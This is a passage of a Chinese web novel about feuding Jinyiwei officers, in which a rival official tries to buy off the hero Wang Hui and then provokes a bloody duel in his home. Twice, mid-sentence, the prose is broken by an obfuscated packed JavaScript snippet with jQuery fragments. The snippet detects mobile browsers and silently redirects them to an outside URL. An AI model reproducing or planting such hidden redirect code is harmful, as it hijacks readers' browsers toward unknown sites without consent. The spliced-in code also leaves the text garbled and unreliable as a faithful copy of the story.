林忠更诧异了,他皱着眉:“您是说,王辉的存在,让霍千户他们忌惮了?可不至于吧?王辉虽然这半年异军突起,立了几次功,但论资历、论人脉,都远不如其他百户手下的总旗,怎么会让霍千户他们忌惮?” “你不懂。”唐浩摇了摇头,语气里多了几分郑重,“如今和三年前相比,我的底蕴确实比那时候厚了——我在都江城经营了两年,手下也有几个能打的弟兄,但我身边一直缺一个敢陪我‘疯’的人。而王辉,就是那个敢陪我疯的人。” “我三年前会输,不是因为实力不够,而是因为独木难支,没人给我策应。”唐浩的声音里带着几分感慨,“那时候我最后一次冲击清水帮的据点,千户所故意断了我的后援,我手下的弟兄死的死、伤的伤,我只能放弃。可若是现在呢?要是千户所再断我的后援,会有一个王辉提着刀,带着弟兄们来助我。” 他低头看了看林忠,继续说道:“当初我离开百户所之后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513476|186188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百户所里没一个人敢违抗千户所的命令,哪怕那些命令是错的。可现在,有王辉在我手下,百户所里就有人敢把千户所的指令当成狗屁——就像上次,霍成林让王辉放清水帮的一个头目,王辉直接把人绑了,送到了按察司,半点没给霍成林面子。” 林忠这才恍然大悟,他摸了摸后脑勺,语气里带着几分敬佩:“属下明白了!您是看重王辉的性子,还有他那份敢作敢为的劲!” “不止这些。”唐浩笑了笑,语气里多了几分温和,“我答应过王辉,只要他没做错事,天塌下来,我都帮他顶着。既然说了,就要说到做到。” 林忠还是有些犹豫,他咬了咬牙,还是把心里的担忧说了出来:“只是……王辉此人,出现得太突然了。他半年前还只是个普通的兵卒,如今却成了小旗使,为人又果断狠辣,连杀上官这种事都做得出来。大人,您就不担心,将来他势力大了,会反过来……” “林忠。”唐浩打断了他的话,语气沉了下来,“我不会因为一件还没发生的事,去猜疑自己人。而且我也不会挡他的路——只要他有那个能力,将来能走得更远,我为他让路,甚至助他上路,都可以。” “可是大人,人心隔肚皮啊!”林忠还想再说。 “不用多说了。”唐浩的语气很坚定,眼神里带着几分信任,“我赌我不会看错人。今日在议事大厅,我从王辉身上看到了一种气势——那是对这污浊世道的不屑,是敢和不公硬碰硬的劲。这样的人,我不负他,他怎么可能负我?” 林忠看着唐浩坚定的眼神,知道自己再说什么也没用,只好拱了拱手:“属下明白了,大人放心,属下以后定会好好配合王辉做事!” 唐浩点了点头,勒了一下马缰:“走吧,回百户所。明日还要给王辉办总旗的任职手续。” 黑马轻轻嘶鸣一声,踏着石板路,朝着远处的街灯走去。林忠连忙跟上,两人的身影渐渐消失在夜色里。 …… 千户所的议事大厅里,气氛依旧凝重。 霍成林坐在主位上,脸色阴沉得能滴出水来。他手里攥着一块玉佩,那是他早年得的宝贝,此刻却被他攥得紧紧的,玉佩的棱角硌得他手心生疼,他却浑然不觉。 厅内的参事们也都低着头,没人敢说话。方才唐浩的态度太强硬了,甚至还敢威胁霍成林,这让他们都有些慌——他们跟着霍成林,本是想安稳度日,可现在看来,都江城怕是要变天了。 过了好一会儿,岳天波才缓缓开口,他的声音里带着几分凝重:“大人,唐浩今日的态度已经很明显了,他这是铁了心要护着王辉,还要改变都江城这么多年的格局啊!” “哼!”霍成林冷哼一声,语气里满是不屑,“自以为是!老夫在都江城待了二十年,见过多少像他这样异想天开的年轻人?一个个都觉得自己能打破规矩,最后还不是老老实实遵循既定的规矩?唐浩也不例外!” 话虽这么说,他眼底的忌惮却没减少半分。他很清楚,唐浩和那些年轻人不一样——唐浩有背景,有实力,还有王辉这么个敢冲敢打的手下,若是不早点想办法,等唐浩真的站稳了脚跟,自己这最后两年,怕是真的没法安稳度过了。 想到这儿,霍成林的瞳孔微微缩了缩,语气里带着几分阴狠:“他不是仗着现在有个王辉给他策应,做他的左膀右臂吗?那就先废了他这条手臂,再来对付他!没了王辉,唐浩就是没了爪牙的老虎,翻不起什么浪!” 岳天波眼前一亮,连忙问道:“大人准备怎么做?王辉此人油盐不进,上次霍千户让他放清水帮的人,他直接把人送去了按察司,想收买他,怕是不容易。” 霍成林嘴角勾起一抹算计的笑,他端起桌上的茶盏,慢条斯理地喝了一口,语气里带着几分胸有成竹道:你亲自去找顾斩,看看他识不识好歹!” 岳天波点了点头,心里有了主意:“属下明白了!明日一早就去百户所找王辉!” 霍成林满意地笑了笑,他放下茶盏,目光望向窗外的夜色,语气里带着几分笃定:“只要废了王辉,唐浩就成了孤家寡人。到时候,别说千户之位,他能不能在都江城待下去,都是个问题!” 厅内的参事们听到这儿,也都纷纷松了口气,看向霍成林的目光里又多了几分敬佩——在他们看来,霍成林这招“釜底抽薪”,定能治住唐浩和王辉。 烛火依旧在跳动,映得霍成林的脸色忽明忽暗,只是没人注意到,他眼底深处,藏着几分不易察觉的担忧——他总觉得,王辉那小子,恐怕没那么容易对付。 夜色渐深,都江城的街道上渐渐没了行人,只有巡逻的兵卒提着灯笼走过,灯笼的光在石板路上晃悠,像是在预示着,一场更大的风波,即将在都江城掀起来 25. 麻烦上门 都江城中下了一场数十年不遇的大雪。 鹅毛般的雪片从铅灰色的云层里簌簌坠落,起初还只是稀疏的几点,到了午后便成了漫天漫地的雪幕,风裹着雪粒子打在窗棂上,发出“沙沙”的轻响。这雪一连下了两日,将整座城池裹得严严实实——青灰的瓦檐上积了半尺厚的雪,檐角垂着尺许长的冰凌,晶莹剔透却泛着寒气;青石板铺就的街巷被雪填平了缝隙,踩上去能陷到脚踝,往来行人都裹紧了棉袄,领口袖口塞得严严实实,呵出的白气在鼻尖凝成霜花,每一步都伴随着“嘎吱、嘎吱”的声响,在寂静的雪天里格外清晰。 王府的庭院里,那株老腊梅被积雪压弯了枝头,墨色的枝干上缀着点点鹅黄的花苞,花瓣上沾着细碎的雪粒,却依旧倔强地透着几分暖意。王辉站在廊下,身上裹着一件素色棉袍,指尖触到廊柱时,能感觉到刺骨的凉意。 他在榻上养了数日伤,如今已能自如活动。那日剿灭清水帮的恶战还历历在目——刀光剑影里溅起的血珠,对手临死前的嘶吼,还有自己后背被砍刀划开的灼痛感。此刻解开衣襟,能看到背上那道半尺长的疤痕,新肉已经长出来,呈淡粉色,边缘还泛着些微淤青;胸口还有几处拳脚留下的瘀伤,按下去仍有隐隐作痛。好在这些伤都避开了要害,加上他修为已到四品境,丹田内的真气能自行滋养经脉,体魄远非常人可比,恢复起来比寻常武人快上数倍。 只是内腑的伤没那么容易好。方才他试着运转真气,刚将气劲从丹田提至胸口,便觉一阵滞涩——像是有细沙堵在经脉里,真气流转到膻中穴时猛地一顿,带来一阵细微的绞痛。他知道这是那日强行催动内力所致,当时为了拿下清水帮的舵主,他硬接了对方一记掌风,虽借着真气卸去了大半力道,却还是让内腑受了震荡,这后患需得慢慢调养,急不得。 这几日,王辉未曾前往百户所点卯。 唐浩下了令,让他安心静养,还特意派了两名护卫守在王府外,说是“挡掉不必要的打扰”。百户所里的事务,小到文书归档,大到余孽排查,都由唐浩一手包揽,连他平日里负责的东院巡防,也临时交给了副手代管。王辉知道,唐浩是怕他带着伤奔波,更怕千户所那边借着他养伤的由头生事。 可即便足不出户,他也能清晰地感受到外界的紧张。每日辰时,心腹陈飞都会准时来汇报情况,那小子性子沉稳,说话素来条理清晰,可这几日汇报时,眉头总是锁着,语气也比往常凝重几分。 “百户所今早收到消息,西城那边发现了清水帮余孽的踪迹,不过等兄弟们赶过去时,人已经跑了,只留下半间烧黑的破屋。”陈飞站在廊下,雪花落在他的肩头,很快便融成了水迹,“还有,千户所昨天召了各百户去开会,听说霍千户在会上发了火,说咱们南城百户所‘行事鲁莽,搅乱了都江的局势’,唐百户当场就跟他吵了起来,最后不欢而散。” 王辉望着庭院里的腊梅,指尖无意识地摩挲着棉袍的袖口。 “街上的气氛也不对,”陈飞接着说,“这几日西城百户所的人总在咱们南城这边晃悠,明着是巡街,实则像是在盯着什么。还有几个商铺老板来找我,说有锦衣卫的人去查他们的账本,问是不是跟清水帮有关……大人,这苗头不对劲,像是山雨欲来的样子。” “这个年,怕是过不太平了。” 王辉长长吁出一口气,白雾在寒冷的空气中迅速消散。他穿越来到这个世界已有半年,原以为能借着锦衣卫总旗的身份安稳度日,却没料到刚站稳脚跟,就卷入了清水帮的案子,还顺带得罪了千户霍成林。他曾想象过第一个新年的样子——或许是跟唐浩、陈飞几人围在炭盆旁喝喝酒,听听街上的爆竹声,热闹又平静,如今看来,这不过是一种奢望。 陈飞见他神色凝重,脸上挤出些许宽慰的笑容,声音放轻了些:“大人不必过于忧虑。唐百户再三叮嘱,让您只管好生养伤,天大的事情自有他顶着。百户所那边,兄弟们都听您的,一切也还算平稳,您别给自己添堵。” 王辉微微摇了摇头,目光依旧停留在那株腊梅上。鹅黄的花苞似乎又绽开了些,雪粒从花瓣上滑落,坠在雪地里没了踪迹。“一旦卷入了漩涡,很多事情,就由不得自己了。”他轻声道,语气里带着几分无奈,“不是你想躲,就能躲开的。霍成林既然把咱们当成眼中钉,就算我待在府里不出门,他也会找上门来。” 陈飞张了张嘴,还想再劝,院外却传来一阵轻微而急促的脚步声。 那脚步声很轻,却透着几分急切,踩在积雪上几乎没有声响,显然是练家子。很快,一名身着劲装、腰间佩刀的护卫快步穿过月洞门,来到廊下。这护卫是唐浩派来的,名叫李忠,身手利落,性子也沉稳,此刻却脸色发白,额角竟还渗着些薄汗——即便天冷,也不该如此。 “老爷,府外有客来访,自称是锦衣卫的大人。”李忠躬身抱拳,声音压得很低,语气里带着一丝不易察觉的紧张。 王辉与陈飞对视一眼,都从对方眼中看到了疑惑。 锦衣卫的人?这个时候来拜访,会是谁?唐浩若是有事,只会让陈飞带话;百户所的同僚也知道他在养伤,不会贸然上门。王辉皱了皱眉,问道:“可知是哪位同僚?可有递帖子?” 李忠低头回道:“来人没递帖子,只说自己是西城百户所的岳天波,岳百户。他还带了两个随从,都背着兵器,看上去……来者不善。” “岳天波?” 王辉的眉头瞬间蹙起,手指猛地攥紧了廊柱。他对这个名字印象深刻——岳天波是千户霍成林的铁杆心腹,在千户所里担任参事,虽只是百户衔,却能参与千户所的决策,地位比一般的百户还高。此人素来与南城百户所划清界限,上次千户所开会,岳天波还帮着霍成林指责唐浩“行事不端”,两人连一句多余的话都没说过,更别提私交。 在这敏感时刻,岳天波突然登门,意欲何为? 陈飞的脸色也沉了下来,凑到王辉耳边低声道:“大人,来者不善。岳天波是霍成林的狗腿子,他这个时候来,肯定没好事,说不定是来试探您的底细,或是给您下套的。要不……咱们以您伤势未愈为由,拒见?” 王辉沉吟片刻,目光扫过庭院里的积雪,眼神渐渐恢复平静。他知道,躲是躲不过的——岳天波既然来了,就算这次拒见,下次也会用别的法子找上门。与其被动应付,不如主动见招拆招。 “是福不是祸,是祸躲不过。”王辉抬手理了理棉袍的衣襟,“李忠,你去正厅看茶,把炭盆烧得旺些,我随后就到。” “是。”李忠领命而去,脚步依旧急促。 王辉转头看向陈飞,语气沉稳:“你也一起来。等会儿进去后,少说话,多观察——注意岳天波那两个随从的动静,尤其是他们的手,别让他们有机会突然动手。” 陈飞心中一凛,连忙点头:“属下明白。” 两人穿过回廊,往正厅走去。廊外的雪还在下,风裹着雪粒子打在脸上,带着刺骨的寒意。王辉深吸一口气,丹田内的真气缓缓流转,虽然胸口仍有滞涩,却足以应对突发状况——他倒要看看,岳天波这次到底想玩什么花样。 王府的正厅不算大,却布置得颇为雅致。 靠墙的位置摆着一张梨花木案几,案上放着一方端砚和几卷古籍,墙上挂着一幅水墨山水画,画的是都江的江景;厅中央放着一张八仙桌,四周摆着四把太师椅,桌下的炭盆里烧着银丝炭,通红的炭火偶尔溅起火星,落在铜盆边缘熄灭,空气中弥漫着淡淡的木炭焦香,驱散了屋内的寒意。 岳天波正坐在主客位上,慢条斯理地品着茶。他穿着一身月白色的锦绣常服,衣料是上等的云锦,领口和袖口绣着暗纹,一看便价值不菲;年约四旬,面皮白净,没有一点武人的粗犷,三缕长须修剪得一丝不苟,用一根玉簪束着,手指纤细,捏着茶盏的动作优雅,倒像是一位饱读诗书的文士,而非锦衣卫的高官。 他身后站着两名随从。左边的随从身材高大,穿着黑色劲装,腰间佩着一把长刀,眼神锐利,时不时扫过厅内的陈设,带着几分警惕;右边的随从身材中等,穿着灰色布衣,背上背着一个狭长的木匣,木匣用黑布裹着,看不清里面是什么,他垂着头,双手背在身后,气息沉稳得像一潭深水,即便站在那里,也给人一种无形的压力——显然是个高手。 听到脚步声,岳天波立刻放下茶盏,脸上堆起热情而恰到好处的笑容,站起身拱手道:“这位定然就是王辉王总旗吧?果然是英雄出少年,一表人才!老夫久仰王总旗的大名,上次千户所开会没能见上一面,今日冒昧来访,打扰王总旗静养,还望海涵啊!” 他的声音温和,语气恭敬,若是不知情的人,恐怕真会以为他是来拜访好友的。 王辉心中冷笑,面上却不动声色,快步上前拱手还礼:“岳大人言重了。下官不知岳大人大驾光临,有失远迎,还请恕罪。岳大人快请坐,陈飞,给岳大人续茶。” “哎,不必麻烦陈兄弟了。”岳天波笑着摆手,目光在王辉身上打量了一圈,眼神里带着几分刻意的关切,“王总旗伤势如何了?上次剿灭清水帮逆匪,王总旗可是居功至伟啊,还拿下了他们的舵主,这份胆识和身手,真是让老夫佩服!只是可惜,你也受伤不轻,千户大人得知后,可是关心得紧呢!” 他顿了顿,语气更显热络:“此次前来,一是受千户大人所托,探望王总旗的伤势;二是想跟王总旗聊聊——若是王总旗需要什么珍稀药材,或是想请名医诊治,尽管开口,千户所定当全力满足,绝无二话。” 这番话说得滴水不漏,既抬了王辉,又捧了霍成林,还隐隐透着“千户所能给你好处”的意味。 王辉端起桌上的茶盏,抿了一口温热的茶水,掩饰住眼底的冷意:“多谢千户大人和岳大人挂怀。下官伤势已无大碍,只是还需将养些时日,不敢劳烦千户大人费心。再说,下官的伤是为了剿灭逆匪所受,本就是分内之事,不敢居功。” “诶,王总旗此言差矣!”岳天波立刻摆手,身体微微前倾,拉近了距离,“你是我锦衣卫的栋梁之才,更是咱们都江府的功臣!千户大人素来爱才惜才,对你这样的年轻人更是看重,常在我们这些下属面前夸赞你有勇有谋,胆识过人,说是难得一见的人才——老夫听了,都忍不住想早点见见你这位后起之秀呢!” 他说这话时,眼神紧紧盯着王辉的脸,似乎在观察他的反应。见王辉只是淡淡点头,没有露出受宠若惊的神色,岳天波也不着急,端起茶盏喝了一口,才缓缓道:“说起来,老夫今日来,还有一件正事要跟王总旗说。如今南城百户所东院总旗一职正好空缺,千户大人觉得,王总旗你能力出众,又立了大功,便有意调你前往千户所任职,还能接触到更高层面的事务,对王总旗的前程大有裨益啊!” 岳天波说完,脸上露出期待的笑容,等着王辉的回应。 图穷匕见了。 王辉心中了然,果然是为了此事而来。唐浩早已跟他透过底——霍成林不满他和唐浩联手剿灭清水帮,更不满唐浩在南城百户所的威望越来越高,两人之间的矛盾已深,几乎到了公开决裂的地步。如今霍成林派心腹来拉拢他,无非是想挖走唐浩的得力助手,削弱南城百户所的实力,同时也是在试探他的立场——若是他答应了,便是背叛唐浩;若是不答应,霍成林恐怕就要动手了。 王辉放下茶盏,脸上露出恰到好处的“受宠若惊”,连忙起身拱手:“岳大人和千户大人厚爱,下官感激不尽!能得到千户大人的赏识,是下官的荣幸。只是……这调动之事,自有上官决断,流程上也需经由唐百户批准。千户所若有调令下达,唐百户同意,下官自当遵从,岂敢有异议?” 他这话既表达了“感激”,又把皮球踢给了唐浩,既不得罪岳天波,也表明了自己不会轻易背叛唐浩的立场。 岳天波脸上的笑容微微收敛了一些。他将手中的茶盏轻轻放在桌上,发出“哒”的一声轻响——这声音不大,却让厅内的气氛瞬间凝重了几分。他抬起眼皮,目光不再如刚才那般全然温和,多了几分审视的意味,缓缓道:“王总旗,咱们都是明白人,有些话,就不必绕圈子了吧?” 王辉故作疑惑,微微皱眉:“下官愚钝,不知岳大人何意?还请岳大人明说。” 岳天波见他装傻,也不再掩饰,身体微微前倾,压低了声音,语气却带着一丝不容置疑的意味:“王总旗,你是个聪明人,应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513477|186188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该很清楚现在的局势。唐浩唐百户,固然背景深厚,能力也强,但他终究是京城唐家的嫡系公子——我这话或许有些僭越,但事实就是如此,他来这都江城,说句不好听的,就是来镀镀金,攒点资历。” 他顿了顿,观察着王辉的表情,见王辉依旧面无表情,便继续道:“你可曾想过,他如今借着你的手,在都江城搅动风云,四处树敌——清水帮的余孽恨你,他们背后那些被触怒了利益的达官显贵也恨你。 等他功成名就,或是即便事败,一拍屁股回了京城,留下你待在这都江城,该如何自处?到时候,那些人会不会找你报仇?唐浩可曾为你考虑过这些?” “他拿你当心腹,可曾为你铺好后路?”岳天波的声音更低了,带着几分蛊惑,“说到底,你不过是他手中一把锋利的刀——用的时候顺手,能帮他斩妖除魔;可等刀钝了,或是没了用处,恐怕也就弃之不顾了。王总旗,你这么聪明,不会连这点都看不透吧?” 这番话可谓诛心至极,直指利害关系。若是一般人,或许真会被说动,心生疑虑,甚至动摇立场。 王辉脸上那点虚假的恭敬渐渐褪去,取而代之的是一种冰冷的平静。 王辉抬起头,直视着岳天波的眼睛,眼神里没有了刚才的“愚钝”,只剩下锐利的锋芒:“岳大人既然把话说到这个份上,那下官也就直说了。岳大人今日前来,究竟所为何事?不妨明言,不必拐弯抹角。” 岳天波对王辉迅速转变的态度略微有些讶异,但很快恢复如常。他靠在太师椅上,手指轻轻敲着桌面,沉声道:“好,快人快语!我就喜欢跟你这样的聪明人说话! 那本官就明说了——千户大人惜才,不忍见你这样的英才被唐浩利用,最终落得个兔死狗烹的下场。千户大人愿意给你指一条明路。 他顿了顿,抛出了条件:“只要你主动向千户所申请调令,离开南城百户所,脱离唐浩的掌控。之后,千户大人会运作一番,让你体面地退出锦衣卫——不用担任何罪名,还能保留你的武勋。 同时,千户大人会赠你一笔足够你一生锦衣玉食的财富,你可以带着这笔钱,远离都江城这是非之地,去任何你想去的地方,安稳富贵地度过余生。” 岳天波说完,脸上露出得意的笑容:“王总旗,这可是千户大人天大的恩典了,足够你下辈子衣食无忧,不用再刀尖上舔血。你好好想想,这买卖,划算不划算?” 客厅里一片寂静,只有炭盆中偶尔爆出的细微噼啪声! 王辉听着,忽然低声笑了起来。起初只是低低的“呵呵”声,后来渐渐变成了爽朗的大笑,笑声里充满了毫不掩饰的讥讽,在寂静的厅内显得格外刺耳。 岳天波的脸色瞬间沉了下来,眼神里闪过一丝怒意:“王总旗,你笑什么?莫非觉得千户大人的条件不够优厚?还是觉得老夫在跟你开玩笑?” 王辉止住笑,拿起桌上的茶盏,将剩下的茶水一饮而尽,眼神锐利如刀,直直看向岳天波:“我笑,是笑岳大人和千户大人,究竟是觉得我王辉蠢不可及,还是你们自己太过聪明,把别人都当成了傻子?” 他的语气陡然转冷,带着几分不屑:“让我背叛唐百户,然后像个丧家之犬一样,拿着你们施舍的钱财,灰溜溜地逃离都江城?岳大人,你觉得我王辉是那种背信弃义的人吗?” “且不说我做不出这等事,”王辉向前一步,目光如炬,“就算我答应了,你觉得你们会真的放过我?我前脚刚离开都江城,后脚清水帮的余孽,或是你们安排的‘江湖匪类’就会找上门来报仇,到时候你们会保我?恐怕我死都不知道怎么死的!这等拙劣的算计,岳大人,你们是把自己当三岁稚童,还是把我王辉当成了任人愚弄的傻子?” 这番话像连珠炮一样,说得岳天波脸色一阵青一阵白。 岳天波猛地一拍茶几,霍然起身,怒道:王辉!你放肆!我好言相劝,代表千户大人给你指条活路,你竟如此不识好歹!别给脸不要脸! 王辉也缓缓站起身,毫不畏惧地与他对视,身上的气势陡然爆发——四品境的真气虽然未能完全运转,却也带着一股压迫感,让厅内的空气都仿佛凝固了几分。他冷声道:“活路?若这世间只有跪着生和站着死两条路,那我王辉,宁愿选择站着死!也绝不会摇尾乞怜,苟且偷生!” “你……”岳天波气得手指微微发抖,他指着王辉,阴恻恻地说道,“王辉,你别敬酒不吃吃罚酒!你以为有几分武力,有些运气,就能在这都江城翻云覆雨了?这世道的水,深得很!你还没这个资格来搅动这摊浑水!跟着唐浩,只有死路一条!” “然后呢?”王辉嘴角勾起一抹不屑的弧度,眼神里带着挑衅。 王辉:岳大人是打算在这里,就在我这府上,动手杀了我不成?你有这个胆子吗? 岳天波被王辉的强硬顶得一时语塞。他确实不敢在这里动手——一来王辉身手不凡,加上陈飞在一旁虎视眈眈,他带来的两个随从未必能稳赢;若是在这里杀了锦衣卫的总旗,事情闹大了,就算有霍成林撑腰,他也脱不了干系。 岳天波连续说了三个“好”字,胸膛剧烈起伏,显然怒极。他深吸一口气,强行压下怒火,脸上重新浮现出那种冰冷的、算计的笑容:“好好好,果然是有其主必有其仆!跟唐浩一样张狂得没边!可惜啊,王辉,唐浩有张狂的资本——他有京城唐家做靠山,再怎么闹,最后也能保得性命。你呢?你有什么?” 岳天波上下打量着王辉,语气里充满了轻蔑:“不过一介武夫,区区一个总旗,也敢学人桀骜不驯?真是给脸不要脸!老夫倒要让你看看,跟千户大人作对,是什么下场! 说罢,岳天波轻轻一招手,声音冷得像冰:陈帆,过来。 岳天波看着王辉紧绷的神色,眼中闪过一抹残忍的快意,缓缓说道:“王总旗,这位是我麾下的好手,陈帆。他素来仰慕王总旗的武功,今日难得有机会,不如你们二位切磋切磋,也让老夫开开眼界。 他顿了顿,语气刻意加重,带着明显的威胁意味:“不过,比武切磋,点到即止即可。陈帆,你可要手下留情,千万……别失手打死了王总旗啊。毕竟,王总旗身上还有伤呢,呵呵。 26. 小杀神 都江城的雪还没歇,鹅毛雪片裹着寒风砸在青瓦上,簌簌作响。庭院里的积雪又厚了三寸,映得厅堂内的烛火都泛着冷光,连空气中飘着的炭火气,都像是被冻得凝住了。 陈帆! 这两个字入耳,王辉的眉头骤然拧成了疙瘩,指尖下意识地攥紧了腰间的刀柄。 脑海里瞬间翻涌出曾在南城百户所卷宗阁见过的记载——陈帆,西城百户所“前”总旗,不是锦衣卫按部就班爬上来的规矩人,早年是江湖上有名的狠角色,一手“断魂□□”使得出神入化,四品境的修为稳了十年,手上沾的血能浸红半条江。 后来不知被岳天波用什么手段拉拢,成了他的死忠,专做那些见不得光的脏活,下手从来不留活口,在锦衣卫里提起他,连老兵都要皱眉头。 这人最可怕的不是武功,是心性——阴沉得像深冬的寒潭,擅长盯着对手的破绽死咬,一旦动手,便是不死不休。 王大人,请赐教! 陈帆的声音像砂纸磨过木头,沙哑得刺耳。 陈帆已将那狭长木匣放在八仙桌上,匣盖“咔嗒”一声弹开,一抹银光瞬间刺破了厅堂的冷寂。 没人想到,匣子里藏的不是长刀,竟是一柄三尺长的银色□□——枪身细而坚韧,泛着水纹般的冷光,枪尖比寻常□□宽了半寸,刃口锋利得能映出人影,一看就是饮过血的凶器。 陈帆单手持枪,枪尖微微下沉,手腕轻抖间,枪身竟发出一丝极细的嗡鸣。 整个人的气息瞬间变了,不再是那个不起眼的随从,反倒像一条盘起来的毒蛇,冰冷的目光死死锁着王辉,连周遭的空气都仿佛被这股杀气冻住了。 王辉的脸色沉得能滴出水,体内真气因这股压迫感自行加速运转,却不小心牵动了内腑的旧伤,胸口传来一阵尖锐的隐痛。 王辉抬眼扫向岳天波,声音里带着冰碴:“岳大人这是要做什么?光天化日之下,在我府邸里纵容手下对同僚动刀动枪?锦衣卫的规矩,你是全忘了?” 岳天波早已坐回太师椅,手里端着茶杯,杯盖刮过瓷杯内壁,发出细碎的声响,却衬得厅堂里愈发死寂。 他脸上挂着虚伪的笑,语气轻飘飘的,像在说无关紧要的小事:“王总旗这话可不对,饭能乱吃,话可不能乱讲。本官什么时候纵容手下动手了?眼下这事儿,分明是江湖同道仰慕你‘小杀神’的威名,特来切磋武艺,这不是再正常不过的事吗?锦衣卫哪条规矩说,同僚之间不能切磋了?你说对吗! 正是。陈帆适时接话,语气冷得像冰。 陈帆:听闻王大人一战成名,连断剑书生王凯都死在您手里,得了小杀神的名号。 在下是个练武的粗人,听了这话,心里直发痒,才急着来讨教几招,还望王大人不吝赐教! 站立在王辉身侧的陈飞急了,上前一步,额角渗着细汗,声音带着几分急促:陈总旗!您也瞧见了,我家大人前几日剿匪受了重伤,至今没好利索,实在不便动武!况且您是西城百户所的总旗,论官职、论年资都在我家大人之上,您来讨教,于情于理都说不通啊! 陈飞想借着规矩和情理,把这事儿压下去。 可陈帆连眼皮都没抬一下,语气平淡得像在说今天的天气:这位兄弟提醒得是,为了免得有人说我以官身压人,来之前,我已经向岳大人请辞,卸了锦衣卫总旗的职。如今我陈帆,就是个仰慕王大人武功的江湖人,今日来,只按江湖规矩挑战。 王大人,您……该不会怕了一个江湖人的挑战吧? 岳天波放下茶杯,嘴角勾起一抹阴笑,声音里满是煽风点火的意味。 岳天波:王总旗,你可是咱们都江城锦衣卫的脸面,‘小杀神’的名号传遍了半个城!要是连个江湖人的挑战都不敢接,这事传出去,丢的可不光是你的脸,还有咱们整个锦衣卫的颜面!这名声,可不能丢啊! 王辉的目光彻底冷了,像厅堂外屋檐下挂着的冰棱,能刺透人心:本官若是不接呢? 岳天波耸了耸肩,摊开手,一副事不关己的样子:那是王总旗您的自由,跟本官没关系,本官今日就是来探望同僚,碰巧遇上罢了。 岳天波话锋一转,语气骤然阴森,不过嘛,江湖人大多行事没规矩,要是觉得丢了面子,会做出什么不理智的事来……呵,那可就不是本官能管的了。 威胁的意思,再明显不过。 岳天波的话音刚落,陈帆便向前迈了一步。□□的银芒微微一闪,一股咄咄逼人的杀气扑面而来。 陈帆再次开口,声音里带着不容拒绝的强硬:“王大人,在下诚心挑战,您要是执意避战,就是不给在下面子。既然您不给……” “锵——!” “面子”的“子”字还没说出口,一声尖锐的金铁交鸣突然炸响,像惊雷劈在寂静的厅堂里! 一道雪亮的刀光毫无预兆地迸现——没有半分铺垫,快得像雪云里突然劈下的闪电,带着最原始的杀戮气息,瞬间照亮了所有人的眼睛。可这炫目的刀光只闪了一瞬,便骤然消失,快得让人以为是错觉。 能让刀光瞬间消敛,只有一个可能那就是王辉的刀,太快了,快到看不清王辉是怎么出的刀! “啪!” 一个空刀鞘掉在青砖地上,声音清脆,在死寂的厅堂里格外刺耳。 岳天波和他身后的护卫都被这变故惊得愣住了,下意识地抬头去看。就在这一刹那—— “噗嗤!” 鲜血像被压抑了许久的喷泉,猛地从陈帆的右肩肩胛处喷溅而出! 直到这时,众人才看清:王辉那柄再普通不过的制式横刀,正以一个极其刁钻的角度,稳稳地插在陈帆的肩膀里,刀身切入了近一半,死死卡在坚硬的肩骨之间。温热的鲜血溅在青砖地上,瞬间晕开,像极了雪地里绽开的红梅,又腥又甜的气息瞬间弥漫开来。 “哐当!” 陈帆手里的银色□□应声落地,砸在地上发出沉闷的响声。他脸上先是闪过极致的错愕,像是没反应过来发生了什么,随即被剧痛和暴怒淹没,发出一声压抑不住的闷哼,嘶声咆哮:“你……你竟然偷袭!不讲武德!” 陈帆怎么也想不到,王辉身为锦衣卫总旗,竟然会如此不顾身份——在他话没说完、气机还没提至巅峰时,就下了这么狠的手! 更让他难以置信的是,这一刀的速度和精准,远超他的预料,连他十年四品境的反应力,都没能躲开。 王辉根本懒得跟他废话。 偷袭?生死搏杀里,讲什么武德?何况是你们先上门找茬,不弄死你,弄死谁? 王辉左臂猛地一拉,“咔嚓”一声脆响传来,刺耳得让人牙酸——那是刀锋割断肩骨的声音! 一条完整的手臂带着一蓬血雨腾空飞起,啪地砸在地上,手指还无意识地抽搐了两下。 啊………! 陈帆发出凄厉的惨叫,断臂的剧痛几乎让他晕厥过去,身体踉跄着向后退了几步,撞在身后的屏风上,屏风“哗啦”一声碎成了几片。别说继续战斗,他连站稳都难。 王辉得势不饶人,他强忍着体内旧伤被牵动的剧痛,身形像蓄势待发的猎豹,猛地一跃而起。 右腿绷得像钢鞭,带着呼啸的风声,狠狠踹在陈帆因剧痛而仰起的头颅上! “嘭!” 一声闷响,像重锤砸在沙袋上。 陈帆的脑袋猛地向后一折,整个人像断线的风筝一样倒飞出去,重重撞在厅堂中央支撑房梁的红木圆柱上。 轰隆一声,屋顶的灰尘簌簌落下,他顺着柱子缓缓滑下,眼神涣散,已经半昏迷了。 王辉落地时脚步微微一晃,体内气血翻腾,喉头一阵发甜,却被他硬生生咽了回去。 王辉单手握紧刀柄,眼神冰冷得没有一丝温度,迈步走向瘫在柱子下的陈帆。 刚才那一刀,王辉本是冲着脖子去的,想一击毙命,可终究因为伤势未愈,速度慢了半分,又被陈帆多年的实战经验救了一命,只劈中了肩膀。 但这一次,面对毫无反抗之力的陈帆,王辉绝不会失手。 住手! 